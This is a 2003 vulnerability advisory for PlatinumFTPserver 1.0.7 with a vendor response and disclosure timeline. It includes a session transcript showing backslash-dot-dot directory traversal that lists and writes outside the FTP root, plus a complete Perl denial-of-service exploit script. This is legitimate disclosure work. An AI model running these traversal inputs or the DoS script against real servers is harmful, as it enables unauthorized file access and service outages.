PlatinumFTP.txt

` Multiple vulnerabilities found in   
PlatinumFTPserver V1.0.7  
PlatinumFTPserver (C)2002 BYTE/400 LTD  
  
Discovered by Dennis Rand  
http://www.infowarfare.dk  
------------------------------------------------------------------------  
  
  
SUMMARY  
PlatinumFTPserver simplifies management of all your Ftp clients with regards   
to sending and receiving program and data files over an IP connection.   
Working within a control screen, PlatinumFTPserver gives you total   
control: you can create and manage users, user groups and root directories.   
You can define what Ftp Commands the users or groups can access.   
PlatinumFTPserver provides activity logs, client connection details, file   
and megabyte graphical statistics by session and day, virtual folders and a   
built in Web Browser. The server engine runs as an application on Windows 9x   
and a service under NT/2K/XP.  
PlatinumFTPserver can bind to one or all IP addresses within the PC. All   
configuration data for the server including password and description fields   
are encrypted using the powerful Blowfish cipher. Clients can request files   
be zipped before transfer, execute scripts created with the VBscript editor   
and also access the shell process.  
  
A vulnerability in the product allows remote attackers to cause   
the server to traverse into directories that reside outside the bounding   
FTP root directory. Another vulnerability is that it is possible to preform   
a DoS attack on the server.  
The server also sends out to many information, the size of the harddrive  
the login location is located and the server time, this is all "harmeless"  
information but it can be used in an attack.  
  
DETAILS  
  
Vulnerable systems:  
* PlatinumFTPServer version 1.0.7  
  
  
Immune systems:  
* PlatinumFTPServer version 1.0.8  
  
PlatinumFTP failure to filter out "\.." sequences in command requests allows   
remote users to break out of restricted directories and gain read access   
to the system directory structure; Possibility for deleting files and   
preforming  
a DoS attack on the server. Revealing information about the server   
  
The following transcript demonstrates a sample exploitation of the   
vulnerabilities:  
  
Connected to 192.168.1.199.  
220-PlatinumFTPserver V1.0.7  
220-PlatinumFTPserver (C)2002 BYTE/400 LTD  
220-  
220 Enter login details  
User (192.168.1.199:(none)): anonymous  
331 Password required for anonymous.  
Password:  
230-Send comments to [email protected]  
230-Date 24-01-03, Time 14:28:08. <===== Server time and date  
230 Storage available 1.558.704.640 Bytes. <===== Here you can see how much   
server space there are located.  
ftp> dir  
200 PORT command successful  
150 Opening ASCII mode data connection for /bin/ls.  
226 Listing complete.  
ftp> ls  
200 PORT command successful  
150 Opening ASCII mode data connection for /bin/ls.  
226 Listing complete.  
ftp> cd ..  
550 Access denied  
ftp> cd ...  
550 Access denied  
ftp> cd /  
250 CWD command successful.  
ftp> ls  
200 PORT command successful  
150 Opening ASCII mode data connection for /bin/ls.  
226 Listing complete.  
ftp> cd /../../../  
500 ../ reference not allowed for security reasons.  
ftp> cd \..\..\..\  
550 Access denied  
ftp> dir /../../../  
200 PORT command successful  
500 ../ reference not allowed for security reasons.  
ftp> dir \..\..\..\..\..\  
200 PORT command successful  
150 Opening ASCII mode data connection for /bin/ls.  
-rwxr-xr-x 1 User Group 0 Dec 23 12:17 AUTOEXEC.BAT  
-rwxr-xr-x 1 User Group 278 Jan 18 08:49 boot.ini  
-rwxr-xr-x 1 User Group 0 Dec 23 12:17 CONFIG.SYS  
drwxr-xr-x 1 User Group 0 Dec 23 12:25 I386  
drwxr-xr-x 1 User Group 0 Dec 23 22:22 Inetpub  
drwxr-xr-x 1 User Group 0 Dec 23 21:49 Installationsfiler   
til Windows Update  
-rwxr-xr-x 1 User Group 0 Dec 23 12:17 IO.SYS  
-rwxr-xr-x 1 User Group 0 Dec 23 12:17 MSDOS.SYS  
drwxr-xr-x 1 User Group 0 Dec 23 21:25 Multimedia Files  
-rwxr-xr-x 1 User Group 26816 Dec 23 22:30 NTDETECT.COM  
-rwxr-xr-x 1 User Group 156496 Dec 23 22:30 ntldr  
drwxr-xr-x 1 User Group 0 Dec 23 12:36 OptionPack  
-rwxr-xr-x 1 User Group 524288000 Jan 24 14:27 pagefile.sys  
drwxr-xr-x 1 User Group 0 Jan 24 14:01 Program Files  
drwxr-xr-x 1 User Group 0 Dec 23 12:24 RECYCLER  
drwxr-xr-x 1 User Group 0 Jan 24 14:09 TEMP  
drwxr-xr-x 1 User Group 0 Jan 24 14:28 WINNT  
226 Listing complete.  
ftp: 1181 bytes received in 0,02Seconds 59,05Kbytes/sec.  
ftp> debug  
Debugging On .  
ftp> mkdir \..\..\..\sm00  
---> XMKD \..\..\..\sm00  
257 \..\..\..\sm00 directory created  
ftp> dir \..\..\  
---> PORT 192,168,1,21,18,161  
200 PORT command successful  
---> LIST \..\..\  
150 Opening ASCII mode data connection for /bin/ls.  
drwxr-xr-x 1 User Group 0 Jan 24 14:09 PlatinumFTPserver  
226 Listing complete.  
ftp: 76 bytes received in 0,01Seconds 7,60Kbytes/sec.  
ftp> dir \..\..\..\  
---> PORT 192,168,1,21,18,162  
200 PORT command successful  
---> LIST \..\..\..\  
150 Opening ASCII mode data connection for /bin/ls.  
drwxr-xr-x 1 User Group 0 Jan 24 14:01 BYTE400  
drwxr-xr-x 1 User Group 0 Dec 23 21:25 Common Files  
drwxr-xr-x 1 User Group 0 Dec 23 23:32 EuroTool  
drwxr-xr-x 1 User Group 0 Dec 23 21:28 ICW-Internet   
Connection Wizard  
drwxr-xr-x 1 User Group 0 Dec 23 22:11 MarkVis  
drwxr-xr-x 1 User Group 0 Dec 23 22:31 Mts  
drwxr-xr-x 1 User Group 0 Dec 23 21:28 Outlook Express  
drwxr-xr-x 1 User Group 0 Dec 23 12:17 Plus!  
drwxr-xr-x 1 User Group 0 Jan 24 15:01 sm00  
drwxr-xr-x 1 User Group 0 Dec 23 21:24 Uninstall Information  
drwxr-xr-x 1 User Group 0 Dec 23 21:10 VMware  
drwxr-xr-x 1 User Group 0 Dec 23 22:44 Windows NT  
drwxr-xr-x 1 User Group 0 Dec 23 23:44 WindowsUpdate  
drwxr-xr-x 1 User Group 0 Jan 18 08:38 WinRAR  
226 Listing complete.  
ftp: 973 bytes received in 0,09Seconds 10,93Kbytes/sec.  
ftp> bye  
221 Goodbye.  
  
Exploit code for DoS attack:  
------------------------------------- CUT HERE --------------------------------  
---------  
#!/usr/bin/perl  
#  
# PlatinumFTPserver V1.0.7 DoS attack  
# http://www.PlatinumFTP.com  
# Dennis Rand - [email protected]  
#  
# When this exploit has been used, the server has to be restarted, if the FTPd   
is  
# just killed and then restarted the CPU will go to 100% again  
# ----------------------------------------------------------  
# Disclaimer: this file is intended as proof of concept, and  
# is not intended to be used for illegal purposes. I accept  
# no responsibility for damage incurred by the use of it.  
# ----------------------------------------------------------  
#  
#   
#  
use Net::FTP;  
  
  
$target = shift() || die "usage: target ip";  
my $user = "anonymous";  
my $pass = "crash\@burn.com";  
  
system('cls');  
print "PlatinumFTPserver V1.0.7 DoS attack\n";  
print "Trying to connect to target system at: $target...\n";  
$ftp = Net::FTP->new($target, Debug => 1, Port => 21) || die "could not   
connect: $!";  
$ftp->login($user, $pass) || die "could not login: $!";  
$ftp->cwd("/");  
  
print "The FTP service now uses 100% CPU on the server...\n";  
$ftp->cwd("cd @/..@/..");  
$ftp->quit;  
  
------------------------------------- CUT HERE --------------------------------  
---------  
  
  
  
Detection:  
PlatinumFTPServer version 1.0.7 is vulnerable to the above-described attacks.   
Earlier versions may be susceptible as well. To determine if a specific   
implementation is vulnerable, experiment by following the above   
transcript.   
  
Vendor response:  
This security issues has now been fixed in version 1.0.8 and can be   
downloaded from www.platinumftp.com/updates/platinumftpserver.exe  
Regards  
Chris Fitzsimons  
BYTE400 Technical Support  
  
  
  
  
Disclosure timeline:  
24/01/2003 Found the Vulnerability.  
24/01/2003 Vendor mail at [email protected]  
27/01/2003 Recived response from vendor that the problem is fixed  
27/01/2003 Public Disclosure.  
  
  
ADDITIONAL INFORMATION  
The vulnerability was discovered by <mailto:[email protected]> Dennis Rand  
  
DISCLAIMER:   
The information in this bulletin is provided "AS IS" without warranty of any   
kind.   
In no event shall we be liable for any damages whatsoever including direct,   
indirect,   
incidental, consequential, loss of business profits or special damages.   
  
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`